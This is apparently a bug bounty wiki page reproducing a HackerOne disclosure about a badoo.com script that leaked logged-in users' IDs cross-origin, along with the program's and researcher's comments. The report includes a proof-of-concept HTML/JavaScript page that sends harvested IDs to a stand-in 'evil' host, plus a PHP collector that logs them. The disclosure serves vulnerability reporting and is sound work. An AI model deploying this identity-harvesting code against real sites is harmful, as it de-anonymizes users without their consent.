Ability to collect users' ids that have visited a specific web page with malicious code
A publicly accessible script on badoo.com exposed the logged-in user's ID, allowing any website to include it and collect the IDs of Badoo users who visited that page. An attacker could use this to identify which users were interested in a campaign and then target them directly.
Originally disclosed on HackerOne
- Triaged in 17 hours
- Fixed in 18 days
- Paid in 17 hours
- Disclosed after 18 days
Summary by the program
Despite this issue was reported in #130453 first, there was some misunderstanding. Reporter in #130453 was quite aggressive and unpleasant instead of describing in details what's wrong. Moreover, he wrote an article about this on public resource.
@saeedhashem on the other hand was quite kind and informative. That's why we decided to award this report with the bounty, not the first one.
Guys please be informative and patient. We do value every single report to our program but there can be some misunderstandings because of huge amount of crap. Please read our rules carefully before submitting bugs.
Summary by the researcher
I truly appreciate the team's decision , and thank you @uyga for your kind words about me .
But , since the reporter of the initial report @symbiansymoh is a friend and colleague of mine , I don't really like him being described with such words in my report , many thanks to him for discovering and disclosing the vulnerability , that's what pointed me to it in the first place .
I think @symbiansymoh should've put the very same effort he made writing his blog post in his report instead , misunderstanding happens all the time .
I also think @uyga should've put one or two additional team members to help each other for a better understanding of the issue , even if their was lack of information in the report .
Anyway , we all learn new things every day and this was a lesson to learn for all of us .
Thanks again @uyga , Thanks again @symbiansymoh ,
The report
Hey ,
Regarding this report #130453 , I'm pretty sure that there's a little misunderstanding of the issue , so please let me clarify the issue a bit more .
The issue is not about the disclosure of user's id , that wouldn't be considered an issue at all because every website puts user's id in the user's profile usually , The issue here is the disclosure of badoo user who visited the webpage which contained the exploit code , that allows any site owner or advertisement campaign designer to exploit this issue maliciously by escalating a public and general ads campaign to a targeted ads campaign after collecting the users who were interested in the general campaign .
Let's clarify a bit further by some details and exploit scenario .
###What made the vulnerability appear ?
- This script
https://badoo.com/worker-scope/chrome-service-worker.js?ws=1being contained information dependent on the currently logged in user . - This information can identify the currently logged in user.
- The same script being public , and can be called and fetched by any rogue script on any website .
###What makes it an issue ?
It's considered as a privacy violation . If I visited some website , the website owner is not supposed to figure out my identity , but this issue allow him to do so .
Additionally the issue allows any one to figure out weather I'm logged in or logged out , and by which account .
###How can any one exploit the issue maliciously ?
Let's consider the following as an exploit scenario .
I'm a commercial website owner who found out about this issue and decided to take advantage to my new product advertisement campaign .
So , I designed a plan as following :
- Start a public and general campaign by setting up the new product page in my website and distributing the link to the page every where , including badoo .
- The new product page should contain the Exploit code written below .
<html>
<script src=https://badoo.com/worker-scope/chrome-service-worker.js?ws=1></script>
</head>
<body>
<script>
function UnmaskUser(str) {
return str.split('=')[0];
}
window.onload = function(){
var user = UnmaskUser(user_id);
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://MyfancyEvilWebsite.com/identity-stealer.php?victim=' user , true);
xhr.send();
};
</script>
</html>
And the identity-stealer.php should have the code :
<?php
$user = $_GET['victim'];
$fd = fopen("badoo-users-interested-in-my-product.txt","a");
fwrite($fd, $user);
fclose($fd);
?>
- The people who may be interested in my new product will start to visit my new product page .
- After a period of time I will be having a txt file
badoo-users-interested-in-my-product.txton my server with a list of ids of all badoo users who have visited my new product page while they are logged into badoo . - Now I can start a more specific and targeted advertisement campaign by contacting those badoo users directly by private messages or emails .
##Note : This should be clarified the matter , so if you still think this issue isn't considered a security issue or privacy violation you can close the report as informative .
Best regards , Thanks ,
Saeed H.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely a publicly accessible script on badoo.com included the logged-in user's ID, and it could be loaded cross-origin by any website.
Impact
A website owner could learn the Badoo user IDs of visitors who were logged in, enabling targeted advertising or direct contact, which is a privacy violation.
What the attacker needed
Victim visits attacker's page while logged into Badoo; attacker controls a website
How it was found
- Set up a public page on the attacker's website that includes the Badoo script.
- Add code that reads the user ID from the script and sends it to the attacker's server.
- Distribute the page link widely, including on Badoo.
- Collect the IDs of Badoo users who visit the page while logged in.
- Use the collected IDs for targeted advertising or direct contact.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you log into a website, your browser can load files from that site on other pages too. Here, a file from Badoo contained your user ID and could be loaded by any website. That let the website owner learn who you are on Badoo without your consent.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.